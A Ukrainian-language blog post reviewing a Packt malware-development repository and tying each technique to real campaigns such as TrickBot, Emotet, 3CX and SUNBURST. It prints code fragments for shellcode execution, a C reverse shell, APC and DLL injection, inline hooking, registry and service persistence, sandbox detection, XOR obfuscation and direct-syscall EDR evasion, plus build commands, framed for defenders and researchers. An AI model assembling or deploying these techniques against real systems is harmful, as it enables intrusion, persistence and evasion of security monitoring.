від TrickBot та Emotet до атак Lazarus Group — техніки, якими користуються APT, в коді на C та Assembly
Теги: #security #malware #windows #reverse-engineering #redteam #packt
Як я на це натрапив
У 2023 році придбав книгу Packt TinyML Cookbook і з тих пір регулярно заходжу в репозиторій подивитись що там нового. Якось скролю список репозиторіїв PacktPublishing на GitHub, оп бачу свіжий реп: «Malware Development for Ethical Hackers — 2nd Edition», 2026 рік, ліцензія MIT.
Карамбда це ж якраз одна з моїх тем. Вже кілька років розробляю власний навчальний стенд для аналізу malware лабораторію з C2 сервером, ELK Stack, Docker-ізоляцією, YARA правилами і модулями під Windows та Linux. Так що репозиторій одразу в роботу, справи зачекають.
Склонував, пройшовся по всіх чотирьох розділах, зіставив кожну техніку з реальними атаками і ось розбір.Спойлер: те, що виглядає як «навчальний код», це буквально те, що використовували TrickBot, Lazarus Group і Emotet.
Репозиторій: github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers-Second-Edition

Масштаб проблеми у 2026 році
Щодня у світі з’являється близько 560 000 нових зразків malware. У 2024 році зафіксовано 6,2 мільярда заражень — на 7% більше ніж роком раніше. Кіберзлочинність коштує глобальній економіці понад $10.5 трильйонів на рік і це більше ніж прибутки від наркоторгівлі.
📎 Джерело: deepstrike.io, Malware Statistics 2024-2025 — deepstrike.io/…tacks-and-Infections-2025
⚠️ Всі приклади виключно в освітніх цілях. Запускайте тільки у власному ізольованому середовищі (VM/Docker). Автор @cocomelonc, видавництво Packt, 2026.
Розділ 1: Фундамент — shellcode, reverse shell, dropper
1.1 Shellcode Execution: VirtualAlloc → RtlMoveMemory → CreateThread
Перший приклад у книзі це canonical патерн запуску shellcode на Windows. Якщо ви аналізували хоч один Windows malware то ви точно це вже бачили:
|
1 2 3 4 5 6 7 8 9 10 |
// Крок 1: виділяємо пам'ять з правами ТІЛЬКИ на читання/запис (не RWX!) // Чому? PAGE_EXECUTE_READWRITE одразу — червоний прапор для EDR memory = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Крок 2: копіюємо байти payload RtlMoveMemory(memory, payload, payload_len); // Крок 3: міняємо rights — тепер RX (execute + read) VirtualProtect(memory, payload_len, PAGE_EXECUTE_READ, &old_protect); // Крок 4: запускаємо в новому треді thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) memory, 0, 0, 0); WaitForSingleObject(thread, -1); |
Ключовий момент: спочатку RW, потім RX — бо виділення одразу PAGE_EXECUTE_READWRITE (RWX) — відомий behavioral IOC, який детектять практично всі сучасні EDR. Це класика операційної безпеки в malware-розробці.
🔴 РЕАЛЬНИЙ КЕЙС: TrickBot — DLL injection в svchost.exe
TrickBot (банківський троян, активний з 2016) завантажував модулі як DLL з C2-серверів
і рефлективно ін’єктував їх прямо в легітимний процес svchost.exe.
Використовував класичний ланцюжок VirtualAllocEx → WriteProcessMemory →
CreateRemoteThread — саме те, що показує книга.
За даними Huntress 2025 Cyber Threat Report: TrickBot все ще становив 6.7%
від усіх методів remote access, задокументованих у 2024 році.
📎 Джерело: Cybereason: Triple Threat — Emotet, TrickBot, Ryuk — www.cybereason.com/…ta-spread-ryuk-ransomware
📎 Джерело: Huntress 2025 Cyber Threat Report — www.huntress.com/…01/topic/what-is-trickbot
1.2 Linux Reverse Shell лише 20 рядків чистого C
Один з найелегантніших прикладів книги і це повноцінний Linux reverse shell без жодних залежностей:
|
1 2 3 4 5 6 7 8 |
// socket() → connect() → dup2() x3 → execve() int fd = socket(AF_INET, SOCK_STREAM, 0); connect(fd, (struct sockaddr *)&addr, sizeof(addr)); // Магія в трьох рядках: // dup2 замінює stdin(0), stdout(1), stderr(2) на наш сокет for (int i = 0; i < 3; i++) { dup2(fd, i); } // execve запускає /bin/sh — і всі I/O йдуть через мережу execve("/bin/sh", NULL, NULL); |
Принцип простий: після dup2() файловий дескриптор 0 (stdin), 1 (stdout), 2 (stderr) вказують на сокет. Коли execve() запускає /bin/sh — шелл «думає», що він локальний, але насправді читає і пише в мережу.
🔴 РЕАЛЬНИЙ КЕЙС: Emotet — persistence через HKCU Run key + reverse shell
Emotet (перша фіксація 2014, реінкарнації у 2022-2023) використовував той самий підхід:
персиститься через HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run з випадковим іменем ключа. Після цього завантажував TrickBot як dropper.
В 2023 Emotet додав нову техніку evasion: бінарний padding який роздував документи-дропери до 500+ MB (включаючи уривки з «Мобі Дік»!), щоб bypass’ити антивіруси, які ігнорують великі файли.
📎 Джерело: Wikipedia: Emotet — en.wikipedia.org/wiki/Emotet
📎 Джерело: Cynet: New Emotet Wave Analysis — www.cynet.com/…t-wave-observed-by-cynet
1.3 Dropper та Keylogger
Розділ також покриває базові keylogger через Windows Hook API (SetWindowsHookEx з WH_KEYBOARD_LL), XOR-шифрування файлів для «ransomware-lite», і dropper-патерни — завантаження payload із ресурсів EXE або з мережі. Ці техніки — буквально фундамент більшості real-world APT-ланцюжків.
Розділ 2: Process Injection від класики до APC та API Hooking
2.1 APC Injection — ін’єкція у suspended процес
APC (Asynchronous Procedure Call) injection — один з найрозумніших прийомів у книзі. Замість підозрілого CreateRemoteThread — використовуємо нативний механізм Windows для планування асинхронних завдань:
|
1 2 3 4 5 6 7 8 9 10 11 |
// 1. Створюємо notepad.exe в SUSPENDED стані CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, ...); // 2. Виділяємо пам'ять і записуємо payload mem = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, mem, payload, len, NULL); // 3. Додаємо APC до черги suspended треду // QueueUserAPC — нативний Windows API, менш підозрілий за CreateRemoteThread QueueUserAPC((PAPCFUNC)mem, hThread, (ULONG_PTR)NULL); // 4. Відновлюємо процес — при першому alertable wait виконується наш код ResumeThread(hThread); |
Чому це краще за CreateRemoteThread? Бо QueueUserAPC — звичайний Windows API, який використовується для планування I/O операцій. Виклик QueueUserAPC сам по собі не підозрілий. EDR детектить патерн лише коли бачить комбінацію: VirtualAllocEx + WriteProcessMemory + QueueUserAPC на той самий процес.
🔴 РЕАЛЬНИЙ КЕЙС: PythonRatLoader → XWorm через APC injection (2024)
У 2024 році Picus Security задокументувала кампанію PythonRatLoader,
яка розгортала XWorm саме через APC injection.
Атакуючі використовували обфускований Python-код, який:
1. Створював notepad.exe в suspended стані
2. Ін’єктував payload в нього через QueueUserAPC
3. Відновлював процес — XWorm виконувався в контексті notepad
Це дозволяло обійти більшість EDR рішень, що моніторять CreateRemoteThread.
📎 Джерело: MITRE ATT&CK T1055.004 — Picus Security, March 2025 — www.picussecurity.com/…ynchronous-procedure-call
Цікаво, що згідно з дослідженням ACM Asia CCS 2025, APC injection пережила ренесанс у malware після відносного затишшя у 2019-2022. «Early Bird» варіант — де APC ставиться ще до того, як процес встигає ініціалізуватися — особливо складний для детектування.
📎 Джерело: ACM AsiaCCS 2025: Process Injection in Windows Malware — dl.acm.org/…i/10.1145/3708821.3736206
🔴 РЕАЛЬНИЙ КЕЙС: TrickBot, Dridex, Emotet — APC як основний інструмент
TrickBot та Dridex (банківські трояни) активно використовували APC injection для виконання своїх модулів у контексті svchost.exe та explorer.exe.
Cobalt Strike (легітимний red team фреймворк, який масово юзають APT-групи) має вбудовану підтримку APC injection для своїх beacon-ів.
Zeus banking trojan — один з піонерів використання APC для credential theft.
📎 Джерело: Malware Methods: APC Injection Analysis — medium.com/…pc-injection-9f0b643f95f7
2.2 Classic DLL Injection через NtAllocateVirtualMemory
Книга показує еволюцію класичної DLL injection: замість VirtualAllocEx (Win32 API) — пряме використання NtAllocateVirtualMemory з ntdll.dll:
|
1 2 3 4 5 6 7 8 9 10 11 |
// Замість VirtualAllocEx — беремо функцію прямо з ntdll // Чому? EDR може хукнути VirtualAllocEx, але менше шансів хукнути NT API pNtAllocateVirtualMemory NtAlloc = (pNtAllocateVirtualMemory) GetProcAddress(ntdllHandle, "NtAllocateVirtualMemory"); // Виділяємо пам'ять в target процесі через NT API NtAlloc(hTargetProcess, &buffer, 0, &pathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Записуємо шлях до DLL і форсуємо LoadLibraryA WriteProcessMemory(hTargetProcess, buffer, dllPath, pathLen, NULL); CreateRemoteThread(hTargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryFunc, buffer, 0, NULL); |
2.3 DLL Hijacking — сайдлоадинг замість ін’єкції
DLL Hijacking використовує специфіку Windows DLL search order: якщо малварь кладе свій evil.dll у папку додатку і Windows завантажить його ЗАМІСТЬ системного. Книга показує як згенерувати forwarding DLL (всі функції проксуються до оригіналу, крім однієї шкідливої).
🔴 РЕАЛЬНИЙ КЕЙС: 3CX Supply Chain Attack (2023) — Lazarus Group
Один з найгучніших кейсів DLL sideloading: атака Lazarus Group на 3CX,
VoIP-платформу з 12 мільйонами щоденних користувачів.
Ланцюжок атаки:
1. Зловмисники скомпрометували build pipeline 3CX
2. Підмінили легітимний ffmpeg.dll на бекдорований через DLL search order
3. Малварний ffmpeg.dll завантажував зашифрований shellcode з d3dcompiler_47.dll
4. Shellcode декриптував RC4-ключем і завантажував бекдор VEILEDSIGNAL
5. Stage-2 DLL підключалась до GitHub репозиторію з .ico файлами (стеганографія!)
6. В .ico файлах XOR-зашифровані C2 URLs
Весь VirusTotal спочатку не визначав malware бо DLL була підписана легітимним сертифікатом 3CX. Atakuvalys: клієнти Mercedes-Benz, NHS, Air France.
📎 Джерело: The Hacker News: 3CX Supply Chain Attack Analysis — thehackernews.com/…attack-heres-what-we.html
📎 Джерело: Zscaler ThreatLabz: 3CX Attack Chain — www.zscaler.com/…ply-chain-attack-campaign
🔴 РЕАЛЬНИЙ КЕЙС: SolarWinds (SUNBURST backdoor, NOBELIUM, 2020)
Класичний DLL hijack в масштабах держав: атакуючі (Russian APT NOBELIUM) впровадили бекдор у SolarWinds Orion Update DLL (SolarWinds.Orion.Core.BusinessLayer.dll).
Декілька рядків коду в легітимній бібліотеці → backdoor на ~4000 рядків.
DLL була підписана цифровим підписом SolarWinds → обійшла всі перевірки.
Жертви: US Treasury, CISA, FireEye, ~18 000 організацій отримали заражений update.
Технічна деталь: малварь чекала 12-14 днів після зараження перед активацією, перевіряла що хост ’api.solarwinds.com’ резолвиться коректно (anti-sandbox), і використовувала кастомний XOR-алгоритм для payload декодування.
📎 Джерело: Microsoft Security Blog: Analyzing Solorigate — www.microsoft.com/…t-defender-helps-protect
2.4 API Hooking — перехоплення функцій через JMP patch
Розділ показує inline hooking: замінюємо перші байти цільової функції на JMP до нашого коду. Це двосічний меч — malware використовує для крадіжки даних, а EDR/AV — для моніторингу API викликів:
|
1 2 3 4 5 6 7 8 9 |
// x64: 14-байтний indirect JMP (FF 25 + 8 байт абсолютної адреси) // Не можна використати відносний JMP rel32 — занадто далеко в пам'яті BYTE patch[14] = {0xFF, 0x25, 0x00, 0x00, 0x00, 0x00}; // FF 25 00000000 UINT_PTR dest = (UINT_PTR)&myHookFunction; memcpy(patch + 6, &dest, 8); // наступні 8 байт = абсолютна адреса // Тимчасово відкриваємо пам'ять на запис і патчимо VirtualProtect(hookAddr, 14, PAGE_EXECUTE_READWRITE, &old); WriteProcessMemory(GetCurrentProcess(), hookAddr, patch, 14, NULL); VirtualProtect(hookAddr, 14, old, &old); // повертаємо права |
Детальніше: EDR продукти (CrowdStrike, SentinelOne, Microsoft Defender) хукають функції ntdll.dll саме так через JMP patch на початку кожної NT функції. Коли malware викликає NtAllocateVirtualMemory — потрапляє спочатку до EDR, який логує виклик і перевіряє параметри. Саме тому наступний розділ так важливий.
Розділ 3: Persistence — як залишитись після перезавантаження
3.1 Registry Run Keys — найпоширеніший метод
|
1 2 3 4 5 |
// HKCU не вимагає адміністратора — виконується для поточного юзера RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); // Ім'я ключа — зазвичай щось безневинне: 'WindowsUpdate', 'AdobeFlash' RegSetValueEx(hKey, "WindowsSecurityHelper", 0, REG_SZ, (BYTE*)execPath, strlen(execPath) + 1); |
🔴 РЕАЛЬНИЙ КЕЙС: Emotet: persistence через HKCU\Run + Rundll32
Emotet використовував саме HKCU\CurrentVersion\Run без прав адміністратора.
Значення ключа: Rundll32.exe [path_to_emotet_dll],Control_RunDLL
Ім’я ключа генерувалось рандомно при кожному зараженні (поліморфізм).
Після кожного перезавантаження Emotet запускався, підключався до C2 і кожні кілька хвилин відправляв POST-запити для оновлення модулів.
📎 Джерело: Cynet: Emotet persistence mechanism — www.cynet.com/…t-wave-observed-by-cynet
3.2 Windows Service Persistence — найнадійніший
Книга показує реєстрацію Windows Service — найнадійніший метод persistence, бо виконується ще до логіну користувача:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// Реєструємо service control dispatcher SERVICE_TABLE_ENTRY table[] = { {"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain}, {NULL, NULL} }; StartServiceCtrlDispatcher(table); // В ServiceMain — нескінченний цикл з нашим payload void ServiceMain(int argc, char** argv) { hStatus = RegisterServiceCtrlHandler("MeowService", ControlHandler); RunPayload(); // запускаємо reverse shell або інший payload serviceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(hStatus, &serviceStatus); while (serviceStatus.dwCurrentState == SERVICE_RUNNING) Sleep(5000); } |
🔴 РЕАЛЬНИЙ КЕЙС: TrickBot: Windows Service + scheduled task комбо
TrickBot реєструвався як Windows Service з рандомним display name.
Паралельно — scheduled task для додаткового запасного механізму.
Сервіс запускав malware.exe → spawned svchost.exe → ін’єктував код.
Також disable/delete Windows Defender через sc stop та net stop команди.
Саме комбінація Service + scheduled task робить TrickBot таким persistent:
навіть якщо Security видаляє один механізм — другий продовжує працювати.
📎 Джерело: CISA Advisory AA21-076A: TrickBot Malware — www.cisa.gov/…rity-advisories/aa21-076a
3.3 Winlogon Registry Keys та інші loopholes
Розділ також покриває: Winlogon keys (виконуються при логіні — HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon ключ Userinit), COM object hijacking, DLL search order hijacking у директорії програми. Кожна з цих технік відображена на MITRE ATT&CK T1547.
Розділ 4: Evasion — як невидимо жити в системі
4.1 Anti-Debugging: від IsDebuggerPresent до PEB tricks
Перший рівень захисту malware — перевірка чи не запущений debugger:
|
1 2 3 4 5 6 7 8 9 |
// Рівень 1: Win32 API (легко патчиться, але перевіряє PEB.BeingDebugged) if (IsDebuggerPresent()) { exit(1); } // Рівень 2: NtQueryInformationProcess — складніше обійти BOOL isDebug = FALSE; CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebug); // Рівень 3: прямо читаємо PEB (Process Environment Block) // При дебагу: PEB+0x02 = BeingDebugged = 1 // NtGlobalFlag (PEB+0x68) = 0x70 при дебагу // Heap flags (HEAP+0x0C та 0x10) відрізняються при дебагу |
Розділ також показує перевірку timing (RDTSC інструкція — debugger сповільнює виконання) і OutputDebugString трик (GetLastError() повертає різні значення залежно від присутності debugger).
4.2 Sandbox/VM Detection через filesystem, hardware, registry
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
// Артефакти VirtualBox у filesystem // VBoxMouse.sys, VBoxVideo.sys, vmci.sys (VMware) if (GetFileAttributes("C:\\Windows\\System32\\drivers\\VBoxMouse.sys") != INVALID_FILE_ATTRIBUTES) { /* ми у VM */ exit(1); } // Registry артефакти // HKLM\SOFTWARE\VMware, Inc.\VMware Tools — VMware // HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions — VBox // MAC address prefix детектування // 08:00:27:xx:xx:xx → VirtualBox // 00:0C:29:xx:xx:xx → VMware // Кількість CPU cores (sandbox часто = 1-2) GetSystemInfo(&sysInfo); if (sysInfo.dwNumberOfProcessors < 4) { exit(1); } |
🔴 РЕАЛЬНИЙ КЕЙС: SolarWinds SUNBURST: anti-sandbox на рівні nation-state
SUNBURST backdoor містив дуже складну anti-sandbox логіку:
→ Перевіряв що хост ’api.solarwinds.com’ резолвиться до очікуваного IP
→ Перевіряв список запущених процесів (якщо є ’wireshark.exe’, ’procmon.exe’ — exit)
→ Після зараження чекав 12-14 ДНІВ перед першим контактом з C2
→ Перевіряв чи домен не в .local зоні (sandbox mid-point detection)
Завдяки цьому backdoor залишався невиявленим більше 9 місяців.
📎 Джерело: Microsoft Security Blog: Solorigate DLL Analysis — www.microsoft.com/…t-defender-helps-protect
4.3 Static Evasion: XOR обфускація payload
Щоб обійти сигнатурний scan, payload шифрується XOR перед компіляцією і розшифровується лише в runtime:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# xor.py — шифруємо shellcode (запускати перед компіляцією) key = 0xAB # або довший XOR-ключ для кращої obfuscation with open('shellcode.bin', 'rb') as f: data = f.read() encrypted = bytes([b ^ key for b in data]) # Генеруємо C array: { 0x12, 0x34, ... } // C: розшифровуємо в runtime void xor_decrypt(unsigned char *data, size_t len, unsigned char key) { for (size_t i = 0; i < len; i++) data[i] ^= key; } // Перед виконанням — decrypt, потім звичайний VirtualAlloc flow xor_decrypt(my_payload, payload_len, 0xAB); XOR — це лише перший рівень. Реальний malware використовує AES-256, RC4 (3CX використовував саме RC4 для payload decryption!), або кастомні алгоритми. Але навіть простий XOR ламає сигнатурний scan більшості антивірусів. |
4.4 Direct Syscalls найцікавіший інструмент у книзі
Це можливо найважливіший приклад всієї книги. EDR-рішення (CrowdStrike, SentinelOne, Microsoft Defender) хукають функції в ntdll.dll через JMP patch (саме як у розділі 2.4). Але є спосіб обійти їх повністю:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
; syscall.asm — власна реалізація NtAllocateVirtualMemory без ntdll ; EDR хукає ntdll.dll у user-space. Але якщо ми викликаємо ядро ; напряму — минаємо весь user-space і всі хуки. section .text global myNtAllocateVirtualMemory myNtAllocateVirtualMemory: mov r10, rcx ; Windows x64 calling convention вимагає r10 = rcx mov eax, 18h ; SSN = System Service Number для NtAllocateVirtualMemory syscall ; перехід в kernel mode, обходячи ntdll.dll ret // C: декларуємо external ASM функцію extern "C" NTSTATUS myNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG RegionSize, ULONG AllocationType, ULONG Protect); // Використовуємо ідентично до NT API // CrowdStrike Falcon не бачить виклик — хук стоїть в ntdll, ми його минули |
⚠️ Критична деталь: SSN (System Service Number) 0×18 справедливий для Windows 10/11 конкретних версій. При зміні OS build номери змінюються! Для стабільного коду потрібен динамічний пошук SSN (Hell’s Gate / SysWhispers).
Це не академічна вправа. Прямі syscalls фундаментальна техніка, яку активно використовують APT групи. CovertSwarm документує повну часову шкалу еволюції: Direct Syscalls (2019) → Hell’s Gate (2020) → Halo’s Gate (2021) → Tartarus’ Gate (2021) → Indirect Syscalls (2022+).
🔴 РЕАЛЬНИЙ КЕЙС: Hell’s Gate — динамічний пошук SSN (наступний рівень)
Hell’s Gate (am0nsec + smelly__vx, 2020) вирішує проблему хардкоду SSN:
замість захардкодженого 0×18 — динамічно читає ntdll.dll в пам’яті, знаходить потрібну функцію і витягує SSN прямо з opcodes.
Halo’s Gate (2021) покращує: якщо ntdll вже хукнута EDR і bytes змінені шукає SSN у сусідніх функціях (математична екстраполяція).
SysWhispers2/3 — інструмент для автогенерації ASM стабів з динамічним SSN.
Активно використовується APT групами, задокументовано CyCraft Research.
📎 Джерело: CovertSwarm: Evolution of EDR Bypass Techniques (Jan 2026) — www.covertswarm.com/…-of-edr-bypass-techniques
📎 Джерело: HADESS: EDR Evasion via Syscalls — hadess.io/…echniques-using-syscalls
У H1 2025 Recorded Future зафіксував зростання sophistication ransomware груп: JIT hooking та memory injection для обходу EDR стали стандартом, а не винятком серед топ-груп.
📎 Джерело: Recorded Future: H1 2025 Malware and Vulnerability Trends — www.recordedfuture.com/…-and-vulnerability-trends
Давайте зодемо всі техніки в одну картину
І подивимось на chain Emotet → TrickBot → Ryuk через призму того, що я виклав вище:
Класичний APT kill chain на прикладі Emotet-TrickBot-Ryuk:
[T1566.001] Phishing спамлист → malicious Word doc з макросом
[T1059.001] Макрос запускає PowerShell → завантажує Emotet DLL
[T1547.001] Emotet → persistence через HKCU\Run key (розділ 3.1)
[T1055.002] Emotet → рефлективна DLL injection в svchost (розділ 2.2)
[T1574.001] TrickBot → DLL search order hijacking для модулів (розділ 2.3)
[T1543.003] TrickBot → Windows Service для persistence (розділ 3.2)
[T1497.001] Перевірка VM артефактів перед активацією (розділ 4.2)
[T1027.001] XOR обфускація payload (розділ 4.3)
[T1055.004] APC injection для запуску модулів у notepad/svchost (розділ 2.1)
[T1486] Ryuk ransomware → шифрування файлів (розділ 1.3)
Кожна з цих технік буквально розібрана в книзі з робочим кодом на C/C++/NASM і що дивує найбільше:
2. Як активно використовується Windows API
3. Наскільки важливу роль відіграє інфраструктура C2
Висновки: кому і навіщо читати
Blue Team / SOC
- Розумієш техніку → знаєш що детектити. VirtualAlloc + VirtualProtect + CreateThread в тому самому процесі за короткий час виявляєш підозрілий патерн
- QueueUserAPC до suspended процесу з VirtualAllocEx це IOC для APC injection
- Новий сервіс з нестандартним ім’ям з Winlogon ключ реєстру це persistence
- MITRE ATT&CK mapping допомагає вибудовувати detection rules у SIEM
Malware Analysts / Reverse Engineers
- Бачиш в IDA: FF 25 + 8 байт → inline JMP hook на функцію
- Бачиш QueueUserAPC в трасі → думаєш про APC injection + suspended process
- xor loop над массивом байт → static obfuscation payload
- Прямий syscall instruction без виклику ntdll → direct syscall evasion
Pentesters / Red Team
- XOR payload і direct syscalls і non-standard persistence це суттєво знижений detection rate
- APC injection через suspended process менш помітний за CreateRemoteThread у більшості EDR
- DLL sideloading в директорію продукту — persistence без registry modifications
Як запустити (мінімальне середовище)
- Windows 10/11 VM (VMware/VirtualBox) — краще з тимчасово відключеним Defender
- MinGW-w64 або Visual Studio Build Tools для C/C++ прикладів
- NASM (nasm.us) для assembly розділу chapter04/08
- x64dbg для налагодження Windows прикладів
- msfvenom (Metasploit) для генерації тестових shellcodes
Компіляція:
|
1 2 3 4 5 6 7 |
# Linux reverse shell gcc chapter01/02-reverse-shell-linux/hack.c -o revshell # Windows shellcode runner (крос-компіляція з Linux) x86_64-w64-mingw32-gcc chapter02/01-shellcode-running/hack.c -o runner.exe # Direct syscall (chapter04/08) — потребує NASM nasm -f win64 syscall.asm -o syscall.o x86_64-w64-mingw32-gcc hack2.c syscall.o -o evasion.exe -lntdll |
Всі джерела
Репозиторій книги:
📎 Джерело: PacktPublishing/Malware-Development-for-Ethical-Hackers-Second-Edition (MIT) — github.com/…al-Hackers-Second-Edition
Real-world кейси:
📎 Джерело: Microsoft Security Blog: Analyzing Solorigate (SUNBURST) — www.microsoft.com/…t-defender-helps-protect
📎 Джерело: The Hacker News: 3CX Supply Chain Attack — thehackernews.com/…attack-heres-what-we.html
📎 Джерело: Zscaler ThreatLabz: 3CX Supply Chain Attack Campaign — www.zscaler.com/…ply-chain-attack-campaign
📎 Джерело: Cybereason: Triple Threat — Emotet, TrickBot, Ryuk — www.cybereason.com/…ta-spread-ryuk-ransomware
📎 Джерело: CISA Advisory AA21-076A: TrickBot Malware — www.cisa.gov/…rity-advisories/aa21-076a
📎 Джерело: Huntress 2025 Cyber Threat Report: TrickBot — www.huntress.com/…01/topic/what-is-trickbot
📎 Джерело: Wikipedia: Emotet — en.wikipedia.org/wiki/Emotet
Техніки та дослідження:
📎 Джерело: Picus Security: MITRE T1055.004 APC Injection (March 2025) — www.picussecurity.com/…ynchronous-procedure-call
📎 Джерело: ACM AsiaCCS 2025: Process Injection in Windows Malware — dl.acm.org/…i/10.1145/3708821.3736206
📎 Джерело: CovertSwarm: Evolution of EDR Bypass Techniques (Jan 2026) — www.covertswarm.com/…-of-edr-bypass-techniques
📎 Джерело: HADESS: EDR Evasion Techniques using Syscalls — hadess.io/…echniques-using-syscalls
📎 Джерело: Recorded Future: H1 2025 Malware and Vulnerability Trends — www.recordedfuture.com/…-and-vulnerability-trends
📎 Джерело: deepstrike.io: 50+ Malware Statistics 2025 — deepstrike.io/…tacks-and-Infections-2025
⚠️ Нагадуємо: всі техніки описані виключно для освітніх цілей. Використовуйте тільки у власних тестових середовищах або за наявності письмового дозволу власника системи (penetration testing agreement).